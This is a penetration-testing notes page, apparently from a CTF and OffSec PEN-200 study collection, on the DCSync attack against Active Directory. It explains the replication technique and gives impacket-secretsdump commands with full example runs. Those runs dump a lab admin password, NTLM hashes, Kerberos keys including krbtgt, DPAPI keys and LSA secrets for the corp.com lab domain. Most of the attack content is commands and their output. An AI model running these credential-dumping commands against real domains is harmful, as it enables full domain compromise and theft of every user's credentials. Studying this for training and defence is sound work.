> For the complete documentation index, see [llms.txt](https://cajac.gitbook.io/ctf-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://cajac.gitbook.io/ctf-notes/creds/credential-dumping/ad-credential-attacks/dcsync.md). # DCSync **DCSync** is a technique that uses Windows Domain Controller's API to simulate the replication process from a remote domain controller. This attack can lead to the compromise of major credential material such as the Kerberos `krbtgt` keys used legitimately for tickets creation, but also for tickets forging by attackers. The consequences of this attack are similar to an `NTDS.dit` dump and parsing but the practical aspect differ. A DCSync is not a simple copy & parse of the `NTDS.dit` file, it's a `DsGetNCChanges` operation transported in an RPC request to the **DRSUAPI** (Directory Replication Service API) to replicate data (including credentials) from a domain controller. This attack requires domain admin privileges to succeed (more specifically, it needs the following extended privileges: `DS-Replication-Get-Changes` and `DS-Replication-Get-Changes-All`). Members of the `Administrators`, `Domain Admins`, `Enterprise Admins`, and Domain Controllers groups have these privileges by default. ## DCSync Attacks ### DCSync with Impacket's secretdump [secretsdump.py](https://github.com/fortra/impacket/blob/master/examples/secretsdump.py) from Impacket can be used to perform a DCSync attack. The script performs various techniques to dump hashes from the remote machine without executing any agent there. For **SAM** and **LSA** Secrets (including cached creds) we try to read as much as we can from the registry and then we save the hives in the target system (%SYSTEMROOT%\Temp dir) and read the rest of the data from there. For `NTDS.dit` we either: 1. Get the domain users list and get its hashes and Kerberos keys using \[MS-DRDS] DRSGetNCChanges() call, replicating just the attributes we need. 2. Extract `NTDS.dit` via vssadmin executed with the smbexec approach. It's copied on the temp dir and parsed remotely. The script initiates the services required for its working if they are not available (e.g. Remote Registry, even if it is disabled). After the work is done, things are restored to the original state. A more targeted output can be set with the following display options: ```bash display options: -just-dc-user USERNAME Extract only NTDS.DIT data for the user specified. Only available for DRSUAPI approach. Implies also -just-dc switch -ldapfilter LDAPFILTER Extract only NTDS.DIT data for specific users based on an LDAP filter. Only available for DRSUAPI approach. Implies also -just-dc switch -just-dc Extract only NTDS.DIT data (NTLM hashes and Kerberos keys) -just-dc-ntlm Extract only NTDS.DIT data (NTLM hashes only) -skip-user SKIP_USER Do NOT extract NTDS.DIT data for the user specified. Can provide comma-separated list of users to skip, or text file with one user per line -pwd-last-set Shows pwdLastSet attribute for each NTDS.DIT account. Doesn't apply to -outputfile data -user-status Display whether or not the user is disabled -history Dump password history, and LSA secrets OldVal ``` #### Show only NTLM-hashes from `NTDS.dit` To target only the `NTDS.dit` file and only show NTLM-hashes ```bash impacket-secretsdump -just-dc-ntlm /:''@$TARGET_IP ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump -just-dc-ntlm corp.com/jeffadmin:'BrouhahaTungPerorateBroom2023!'@$TARGET_IP Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1693c6cefafffc7af11ef34d1c788f47::: dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494::: stephanie:1104:aad3b435b51404eeaad3b435b51404ee:d2b35e8ac9d8f4ad5200acc4e0fd44fa::: jeff:1105:aad3b435b51404eeaad3b435b51404ee:2688c6d2af5e9c7ddb268899123744ea::: jeffadmin:1106:aad3b435b51404eeaad3b435b51404ee:e460605a9dbd55097c6cf77af2f89a03::: iis_service:1109:aad3b435b51404eeaad3b435b51404ee:4d28cf5252d39971419580a51484ca09::: pete:1123:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: jen:1124:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: DC1$:1000:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: WEB04$:1112:aad3b435b51404eeaad3b435b51404ee:b978b34b15b5291f809e7ccd4dbcf6eb::: FILES04$:1118:aad3b435b51404eeaad3b435b51404ee:87c0f6702032ce2cf34b56455f68738c::: CLIENT74$:1121:aad3b435b51404eeaad3b435b51404ee:b49d67bb5e56f28ada5dbd154efb798d::: CLIENT75$:1122:aad3b435b51404eeaad3b435b51404ee:22717621b0b5277694caa1693e4eaf5c::: CLIENT76$:1129:aad3b435b51404eeaad3b435b51404ee:f49dc3681d94d08ac018180589513269::: [*] Cleaning up... ```
#### Show only `NTDS.dit` data To target only the `NTDS.dit` file and show both NTLM hashes and Kerberos keys ```bash impacket-secretsdump -just-dc /:''@$TARGET_IP ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump -just-dc corp.com/jeffadmin:'BrouhahaTungPerorateBroom2023!'@$TARGET_IP Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1693c6cefafffc7af11ef34d1c788f47::: dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494::: stephanie:1104:aad3b435b51404eeaad3b435b51404ee:d2b35e8ac9d8f4ad5200acc4e0fd44fa::: jeff:1105:aad3b435b51404eeaad3b435b51404ee:2688c6d2af5e9c7ddb268899123744ea::: jeffadmin:1106:aad3b435b51404eeaad3b435b51404ee:e460605a9dbd55097c6cf77af2f89a03::: iis_service:1109:aad3b435b51404eeaad3b435b51404ee:4d28cf5252d39971419580a51484ca09::: pete:1123:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: jen:1124:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: DC1$:1000:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: WEB04$:1112:aad3b435b51404eeaad3b435b51404ee:b978b34b15b5291f809e7ccd4dbcf6eb::: FILES04$:1118:aad3b435b51404eeaad3b435b51404ee:87c0f6702032ce2cf34b56455f68738c::: CLIENT74$:1121:aad3b435b51404eeaad3b435b51404ee:b49d67bb5e56f28ada5dbd154efb798d::: CLIENT75$:1122:aad3b435b51404eeaad3b435b51404ee:22717621b0b5277694caa1693e4eaf5c::: CLIENT76$:1129:aad3b435b51404eeaad3b435b51404ee:f49dc3681d94d08ac018180589513269::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:56136fd5bbd512b3670c581ff98144a553888909a7bf8f0fd4c424b0d42b0cdc Administrator:aes128-cts-hmac-sha1-96:3d58eb136242c11643baf4ec85970250 Administrator:des-cbc-md5:fd79dc380ee989a4 krbtgt:aes256-cts-hmac-sha1-96:e1cced9c6ef723837ff55e373d971633afb8af8871059f3451ce4bccfcca3d4c krbtgt:aes128-cts-hmac-sha1-96:8c5cf3a1c6998fa43955fa096c336a69 krbtgt:des-cbc-md5:683bdcba9e7c5de9 dave:aes256-cts-hmac-sha1-96:4d8d35c33875a543e3afa94974d738474a203cd74919173fd2a64570c51b1389 dave:aes128-cts-hmac-sha1-96:f94890e59afc170fd34cfbd7456d122b dave:des-cbc-md5:1a329b4338bfa215 stephanie:aes256-cts-hmac-sha1-96:bacff5a5fbda4c38b58b343a5bc235021a366512d0aebf464662d0fe65fceb9f stephanie:aes128-cts-hmac-sha1-96:95218fc23b3e0784931a3ed38f6fdc60 stephanie:des-cbc-md5:31ae1c9d3225da25 jeff:aes256-cts-hmac-sha1-96:9af9aa5a4271ee27c111a40e16260ae8394bdb899d1b49771fbe110fa7982fd1 jeff:aes128-cts-hmac-sha1-96:8957241e5ebb8321ccd595662a5a98d2 jeff:des-cbc-md5:c8bff7f79283c138 jeffadmin:aes256-cts-hmac-sha1-96:d6754b8ed7a9cb4ba2793aae0b77dac971fba194857843f97579e5fda7f682ab jeffadmin:aes128-cts-hmac-sha1-96:9f9c0be62237491d9eeeeb32d0f5eb1e jeffadmin:des-cbc-md5:d3b92f5eceecec86 iis_service:aes256-cts-hmac-sha1-96:9fccc377d0bc13ca49bca6725a9af461f2ca65db4e03aa0ddb8969ab716052cc iis_service:aes128-cts-hmac-sha1-96:a4e7665d09c998d270ab363ed5db9919 iis_service:des-cbc-md5:e5ba07c82fdc8c3b pete:aes256-cts-hmac-sha1-96:27eb48bb2bfe936b430c6de8a7f550caa0f1827f98360179d9a88fdd0b511364 pete:aes128-cts-hmac-sha1-96:e193f9ac58c54f8441fa60bfe332d68b pete:des-cbc-md5:167a70ced398a4c8 jen:aes256-cts-hmac-sha1-96:e7888faaee7503efe4888e146c7c24bb87507a33ce449b2e85805988f35daf99 jen:aes128-cts-hmac-sha1-96:5dafc32c5844d2a3c89ffcc7409ad7e4 jen:des-cbc-md5:4985324658587557 DC1$:aes256-cts-hmac-sha1-96:db7fc819e854b3c430132e617f0fa0a8537b6de7dda1c2f3b98a7dbee2dbc53c DC1$:aes128-cts-hmac-sha1-96:eeecb0802d5f99b09b40430b65e35848 DC1$:des-cbc-md5:e97f16d6d5585b1f WEB04$:aes256-cts-hmac-sha1-96:c588299ceb6a770a1a2af4981e7baad179a70944e1edf9fb8d99de001f397584 WEB04$:aes128-cts-hmac-sha1-96:31f7a83891ae7f334defc6e3eecb9619 WEB04$:des-cbc-md5:915279739186c7ce FILES04$:aes256-cts-hmac-sha1-96:e96d68c458166313388e435abb2b330323be7597e94b7e46b3037c93ccd840a5 FILES04$:aes128-cts-hmac-sha1-96:e39eac7e67e7d1c45c05097b843da86e FILES04$:des-cbc-md5:2c8fb36446e00bc4 CLIENT74$:aes256-cts-hmac-sha1-96:979e0ff34edc1d47e1eecf5ab96c7a39f38b279d200027a16c2afd3d1598e0f0 CLIENT74$:aes128-cts-hmac-sha1-96:9326595c5399838b25b30df7a6cff749 CLIENT74$:des-cbc-md5:e0a1921c8ad9c7ba CLIENT75$:aes256-cts-hmac-sha1-96:2a7524df9097c7b4ae28340147d0c6870a969507b5e3819e66e47899991ebc48 CLIENT75$:aes128-cts-hmac-sha1-96:533ad569c4a0346185ae243d5795deb2 CLIENT75$:des-cbc-md5:10c20da23b805725 CLIENT76$:aes256-cts-hmac-sha1-96:1b7715601982f17bac80e27a6a1df327438d5a62cd5fbce57559fab548d54f12 CLIENT76$:aes128-cts-hmac-sha1-96:4be3fd32a9a86d742715ed30d9e40713 CLIENT76$:des-cbc-md5:982368fd2fa72fc7 [*] Cleaning up... ```
#### Only show info for a specific user To target only the `NTDS.dit` file and only show information for a specific user including password history ```bash impacket-secretsdump -just-dc-user -history /:''@$TARGET_IP ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump -just-dc-user dave -history corp.com/jeffadmin:'BrouhahaTungPerorateBroom2023!'@$TARGET_IP Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494::: dave_history0:1103:aad3b435b51404eeaad3b435b51404ee:a11e808659d5ec5b6c4f43c1e5a0972d::: [*] Kerberos keys grabbed dave:aes256-cts-hmac-sha1-96:4d8d35c33875a543e3afa94974d738474a203cd74919173fd2a64570c51b1389 dave:aes128-cts-hmac-sha1-96:f94890e59afc170fd34cfbd7456d122b dave:des-cbc-md5:1a329b4338bfa215 [*] Cleaning up... ```
#### Full standard dump ```bash impacket-secretsdump /:''@$TARGET_IP ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump corp.com/jeffadmin:'BrouhahaTungPerorateBroom2023!'@$TARGET_IP Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Service RemoteRegistry is in stopped state [*] Starting service RemoteRegistry [*] Target system bootKey: 0xbbe6040ef887565e9adb216561dc0620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c18a3e8e0526e73f8dfccb21c78559b::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC CORP\DC1$:aes256-cts-hmac-sha1-96:db7fc819e854b3c430132e617f0fa0a8537b6de7dda1c2f3b98a7dbee2dbc53c CORP\DC1$:aes128-cts-hmac-sha1-96:eeecb0802d5f99b09b40430b65e35848 CORP\DC1$:des-cbc-md5:861375cd2afbae92 CORP\DC1$:plain_password_hex:57cefcd32bfd469edae5e2a431e1e1bd894a3b345e5f98d64b86b25e8b585d98b0ed7710198692926464a086c690fd693572c94f87910c6c20a09508a6c985c18cc252eb678295cbc219e8850deaaa7f90d49c12e3b53191b67bbd6245e98deebfb5a044e78cc0810ce90166a21d07063af5c5e415141f09ff9305ad3095a81d65126e3fa7427d203eb9ca479961ac804d00809a01eb43e1817f7605d3aa6a6f29b82103de26819740ce59957a073745edee49fbe00bf479c91dc9026d7b93a6e691185996cde780ae13587790efbb82941a127cdb2b9a576f78850d5c173743eb892538a79533267db98e0678bb8078 CORP\DC1$:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: [*] DPAPI_SYSTEM dpapi_machinekey:0xff4da845cdc4920cf0b1c903dcc86e688aff6363 dpapi_userkey:0xe3182d347716f1a648a2374816986d87811d0149 [*] NL$KM 0000 7E 59 D8 BC AE 3A D3 EE 6A 2F 9D 4B BB 6E 73 0E ~Y...:..j/.K.ns. 0010 6E 0C 94 37 6F DB DE 5D C0 7E 4D 2D 43 07 BE 97 n..7o..].~M-C... 0020 9B 12 C9 20 5F 3E F3 8B 86 0D F4 06 5A 74 73 A7 ... _>......Zts. 0030 8E FF 4D EC 78 A3 F0 F7 99 F8 DE 08 21 3D C1 9C ..M.x.......!=.. NL$KM:7e59d8bcae3ad3ee6a2f9d4bbb6e730e6e0c94376fdbde5dc07e4d2d4307be979b12c9205f3ef38b860df4065a7473a78eff4dec78a3f0f799f8de08213dc19c [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1693c6cefafffc7af11ef34d1c788f47::: dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494::: stephanie:1104:aad3b435b51404eeaad3b435b51404ee:d2b35e8ac9d8f4ad5200acc4e0fd44fa::: jeff:1105:aad3b435b51404eeaad3b435b51404ee:2688c6d2af5e9c7ddb268899123744ea::: jeffadmin:1106:aad3b435b51404eeaad3b435b51404ee:e460605a9dbd55097c6cf77af2f89a03::: iis_service:1109:aad3b435b51404eeaad3b435b51404ee:4d28cf5252d39971419580a51484ca09::: pete:1123:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: jen:1124:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: DC1$:1000:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: WEB04$:1112:aad3b435b51404eeaad3b435b51404ee:b978b34b15b5291f809e7ccd4dbcf6eb::: FILES04$:1118:aad3b435b51404eeaad3b435b51404ee:87c0f6702032ce2cf34b56455f68738c::: CLIENT74$:1121:aad3b435b51404eeaad3b435b51404ee:b49d67bb5e56f28ada5dbd154efb798d::: CLIENT75$:1122:aad3b435b51404eeaad3b435b51404ee:22717621b0b5277694caa1693e4eaf5c::: CLIENT76$:1129:aad3b435b51404eeaad3b435b51404ee:f49dc3681d94d08ac018180589513269::: [*] Kerberos keys grabbed Administrator:aes256-cts-hmac-sha1-96:56136fd5bbd512b3670c581ff98144a553888909a7bf8f0fd4c424b0d42b0cdc Administrator:aes128-cts-hmac-sha1-96:3d58eb136242c11643baf4ec85970250 Administrator:des-cbc-md5:fd79dc380ee989a4 krbtgt:aes256-cts-hmac-sha1-96:e1cced9c6ef723837ff55e373d971633afb8af8871059f3451ce4bccfcca3d4c krbtgt:aes128-cts-hmac-sha1-96:8c5cf3a1c6998fa43955fa096c336a69 krbtgt:des-cbc-md5:683bdcba9e7c5de9 dave:aes256-cts-hmac-sha1-96:4d8d35c33875a543e3afa94974d738474a203cd74919173fd2a64570c51b1389 dave:aes128-cts-hmac-sha1-96:f94890e59afc170fd34cfbd7456d122b dave:des-cbc-md5:1a329b4338bfa215 stephanie:aes256-cts-hmac-sha1-96:bacff5a5fbda4c38b58b343a5bc235021a366512d0aebf464662d0fe65fceb9f stephanie:aes128-cts-hmac-sha1-96:95218fc23b3e0784931a3ed38f6fdc60 stephanie:des-cbc-md5:31ae1c9d3225da25 jeff:aes256-cts-hmac-sha1-96:9af9aa5a4271ee27c111a40e16260ae8394bdb899d1b49771fbe110fa7982fd1 jeff:aes128-cts-hmac-sha1-96:8957241e5ebb8321ccd595662a5a98d2 jeff:des-cbc-md5:c8bff7f79283c138 jeffadmin:aes256-cts-hmac-sha1-96:d6754b8ed7a9cb4ba2793aae0b77dac971fba194857843f97579e5fda7f682ab jeffadmin:aes128-cts-hmac-sha1-96:9f9c0be62237491d9eeeeb32d0f5eb1e jeffadmin:des-cbc-md5:d3b92f5eceecec86 iis_service:aes256-cts-hmac-sha1-96:9fccc377d0bc13ca49bca6725a9af461f2ca65db4e03aa0ddb8969ab716052cc iis_service:aes128-cts-hmac-sha1-96:a4e7665d09c998d270ab363ed5db9919 iis_service:des-cbc-md5:e5ba07c82fdc8c3b pete:aes256-cts-hmac-sha1-96:27eb48bb2bfe936b430c6de8a7f550caa0f1827f98360179d9a88fdd0b511364 pete:aes128-cts-hmac-sha1-96:e193f9ac58c54f8441fa60bfe332d68b pete:des-cbc-md5:167a70ced398a4c8 jen:aes256-cts-hmac-sha1-96:e7888faaee7503efe4888e146c7c24bb87507a33ce449b2e85805988f35daf99 jen:aes128-cts-hmac-sha1-96:5dafc32c5844d2a3c89ffcc7409ad7e4 jen:des-cbc-md5:4985324658587557 DC1$:aes256-cts-hmac-sha1-96:db7fc819e854b3c430132e617f0fa0a8537b6de7dda1c2f3b98a7dbee2dbc53c DC1$:aes128-cts-hmac-sha1-96:eeecb0802d5f99b09b40430b65e35848 DC1$:des-cbc-md5:e97f16d6d5585b1f WEB04$:aes256-cts-hmac-sha1-96:c588299ceb6a770a1a2af4981e7baad179a70944e1edf9fb8d99de001f397584 WEB04$:aes128-cts-hmac-sha1-96:31f7a83891ae7f334defc6e3eecb9619 WEB04$:des-cbc-md5:915279739186c7ce FILES04$:aes256-cts-hmac-sha1-96:e96d68c458166313388e435abb2b330323be7597e94b7e46b3037c93ccd840a5 FILES04$:aes128-cts-hmac-sha1-96:e39eac7e67e7d1c45c05097b843da86e FILES04$:des-cbc-md5:2c8fb36446e00bc4 CLIENT74$:aes256-cts-hmac-sha1-96:979e0ff34edc1d47e1eecf5ab96c7a39f38b279d200027a16c2afd3d1598e0f0 CLIENT74$:aes128-cts-hmac-sha1-96:9326595c5399838b25b30df7a6cff749 CLIENT74$:des-cbc-md5:e0a1921c8ad9c7ba CLIENT75$:aes256-cts-hmac-sha1-96:2a7524df9097c7b4ae28340147d0c6870a969507b5e3819e66e47899991ebc48 CLIENT75$:aes128-cts-hmac-sha1-96:533ad569c4a0346185ae243d5795deb2 CLIENT75$:des-cbc-md5:10c20da23b805725 CLIENT76$:aes256-cts-hmac-sha1-96:1b7715601982f17bac80e27a6a1df327438d5a62cd5fbce57559fab548d54f12 CLIENT76$:aes128-cts-hmac-sha1-96:4be3fd32a9a86d742715ed30d9e40713 CLIENT76$:des-cbc-md5:982368fd2fa72fc7 [*] Cleaning up... [*] Stopping service RemoteRegistry [-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop control has been sent to a service that other running services are dependent on. [*] Cleaning up... [*] Stopping service RemoteRegistry Exception ignored in: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError: 'Cryptodome.Cipher.AES' Exception ignored in: Traceback (most recent call last): File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__ File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new KeyError: 'Cryptodome.Cipher.AES' ```
#### Full dump with additional information ```bash impacket-secretsdump -pwd-last-set -user-status -history /:''@$TARGET_IP ```
Example run ```bash ┌──(kali㉿kali)-[~/OffSec_Courses/PEN-200] └─$ impacket-secretsdump -pwd-last-set -user-status -history corp.com/jeffadmin:'BrouhahaTungPerorateBroom2023!'@$TARGET_IP Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0xbbe6040ef887565e9adb216561dc0620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:4c18a3e8e0526e73f8dfccb21c78559b::: (Enabled=True) (Locked=False) (Admin=True) Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (Enabled=False) (Locked=False) (Admin=False) DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (Enabled=False) (Locked=False) (Admin=False) [*] Dumping cached domain logon information (domain/username:hash) [*] Dumping LSA Secrets [*] $MACHINE.ACC CORP\DC1$:aes256-cts-hmac-sha1-96:db7fc819e854b3c430132e617f0fa0a8537b6de7dda1c2f3b98a7dbee2dbc53c CORP\DC1$:aes128-cts-hmac-sha1-96:eeecb0802d5f99b09b40430b65e35848 CORP\DC1$:des-cbc-md5:861375cd2afbae92 CORP\DC1$:plain_password_hex:57cefcd32bfd469edae5e2a431e1e1bd894a3b345e5f98d64b86b25e8b585d98b0ed7710198692926464a086c690fd693572c94f87910c6c20a09508a6c985c18cc252eb678295cbc219e8850deaaa7f90d49c12e3b53191b67bbd6245e98deebfb5a044e78cc0810ce90166a21d07063af5c5e415141f09ff9305ad3095a81d65126e3fa7427d203eb9ca479961ac804d00809a01eb43e1817f7605d3aa6a6f29b82103de26819740ce59957a073745edee49fbe00bf479c91dc9026d7b93a6e691185996cde780ae13587790efbb82941a127cdb2b9a576f78850d5c173743eb892538a79533267db98e0678bb8078 CORP\DC1$:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: [*] $MACHINE.ACC_history CORP\DC1$:aes256-cts-hmac-sha1-96:d6d4b67d496303d12b57898b9a747c8cbd87cd82439870ad167ed290160dd882 CORP\DC1$:aes128-cts-hmac-sha1-96:14d5e69699e59439cf1f41f2d4a150b4 CORP\DC1$:des-cbc-md5:494ce3012f5170ae CORP\DC1$:plain_password_hex:3e2a1d4fe206b1aa99164db13e9b4f521a58a0922c0906369b5a61e62491d3414196fa9aa4056803c47e016374eb58cc0cd40b525bc7be08d0727683a7e9e35f755a10de0a4147a13601f6af51f1e7f9ffce3c88222273a05bbf1aabe36f5608dee8137788eb41345028d5f60fd507c8d7cfadf62ceefcafb5e1d2d42fb618b9f391fba38f64aa28892ba4c84dbcfc0a3db9d7632337e483c916c4fbdb8c746edac6807387e13d03ed8574bb00984f06ab6254f16b682df2704a0c4629a719a2a2eafee61f62a901f34020706fbc26646fe563a5bd97a2f15e4c03ad790e9c0f7649da8f9d012b5f51e959381bcd1608 CORP\DC1$:aad3b435b51404eeaad3b435b51404ee:c510f94342dfedf1a317ed45ae9e38d2::: [*] DPAPI_SYSTEM dpapi_machinekey:0xff4da845cdc4920cf0b1c903dcc86e688aff6363 dpapi_userkey:0xe3182d347716f1a648a2374816986d87811d0149 [*] DPAPI_SYSTEM_history dpapi_machinekey:0xcf69a9d07b864b11fe4cfa11973239035bdcdfcc dpapi_userkey:0x7057fccf07e7059ccdc1cbb1d93916f9c951d5ab [*] NL$KM 0000 7E 59 D8 BC AE 3A D3 EE 6A 2F 9D 4B BB 6E 73 0E ~Y...:..j/.K.ns. 0010 6E 0C 94 37 6F DB DE 5D C0 7E 4D 2D 43 07 BE 97 n..7o..].~M-C... 0020 9B 12 C9 20 5F 3E F3 8B 86 0D F4 06 5A 74 73 A7 ... _>......Zts. 0030 8E FF 4D EC 78 A3 F0 F7 99 F8 DE 08 21 3D C1 9C ..M.x.......!=.. NL$KM:7e59d8bcae3ad3ee6a2f9d4bbb6e730e6e0c94376fdbde5dc07e4d2d4307be979b12c9205f3ef38b860df4065a7473a78eff4dec78a3f0f799f8de08213dc19c [*] NL$KM_history 0000 7E 59 D8 BC AE 3A D3 EE 6A 2F 9D 4B BB 6E 73 0E ~Y...:..j/.K.ns. 0010 6E 0C 94 37 6F DB DE 5D C0 7E 4D 2D 43 07 BE 97 n..7o..].~M-C... 0020 9B 12 C9 20 5F 3E F3 8B 86 0D F4 06 5A 74 73 A7 ... _>......Zts. 0030 8E FF 4D EC 78 A3 F0 F7 99 F8 DE 08 21 3D C1 9C ..M.x.......!=.. NL$KM_history:7e59d8bcae3ad3ee6a2f9d4bbb6e730e6e0c94376fdbde5dc07e4d2d4307be979b12c9205f3ef38b860df4065a7473a78eff4dec78a3f0f799f8de08213dc19c [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets Administrator:500:aad3b435b51404eeaad3b435b51404ee:2892d26cdf84d7a70e2eb3b9f05c425e::: (pwdLastSet=2022-08-17 02:27) (status=Enabled) Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (pwdLastSet=never) (status=Disabled) krbtgt:502:aad3b435b51404eeaad3b435b51404ee:1693c6cefafffc7af11ef34d1c788f47::: (pwdLastSet=2022-09-03 01:10) (status=Disabled) dave:1103:aad3b435b51404eeaad3b435b51404ee:08d7a47a6f9f66b97b1bae4178747494::: (pwdLastSet=2022-09-07 18:54) (status=Enabled) dave_history0:1103:aad3b435b51404eeaad3b435b51404ee:a11e808659d5ec5b6c4f43c1e5a0972d::: stephanie:1104:aad3b435b51404eeaad3b435b51404ee:d2b35e8ac9d8f4ad5200acc4e0fd44fa::: (pwdLastSet=2022-09-03 01:23) (status=Enabled) jeff:1105:aad3b435b51404eeaad3b435b51404ee:2688c6d2af5e9c7ddb268899123744ea::: (pwdLastSet=2022-09-03 01:27) (status=Enabled) jeffadmin:1106:aad3b435b51404eeaad3b435b51404ee:e460605a9dbd55097c6cf77af2f89a03::: (pwdLastSet=2022-09-03 01:26) (status=Enabled) iis_service:1109:aad3b435b51404eeaad3b435b51404ee:4d28cf5252d39971419580a51484ca09::: (pwdLastSet=2022-09-07 14:38) (status=Enabled) iis_service_history0:1109:aad3b435b51404eeaad3b435b51404ee:aa7adc3634e803fe8a3b29a48852dea9::: pete:1123:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: (pwdLastSet=2022-09-06 21:41) (status=Enabled) pete_history0:1123:aad3b435b51404eeaad3b435b51404ee:78f8755ff7d1cec1fadc4c1375d20921::: jen:1124:aad3b435b51404eeaad3b435b51404ee:369def79d8372408bf6e93364cc93075::: (pwdLastSet=2022-09-06 21:43) (status=Enabled) DC1$:1000:aad3b435b51404eeaad3b435b51404ee:c94e5b6f6e3aafdbc8238e7a1ea43b33::: (pwdLastSet=2026-04-23 20:30) (status=Enabled) DC1$_history0:1000:aad3b435b51404eeaad3b435b51404ee:c510f94342dfedf1a317ed45ae9e38d2::: DC1$_history1:1000:aad3b435b51404eeaad3b435b51404ee:eb9131bbcdafe388b4ed8a511493dfc6::: DC1$_history2:1000:aad3b435b51404eeaad3b435b51404ee:9d2a3eb1f43977e696c430506947903e::: 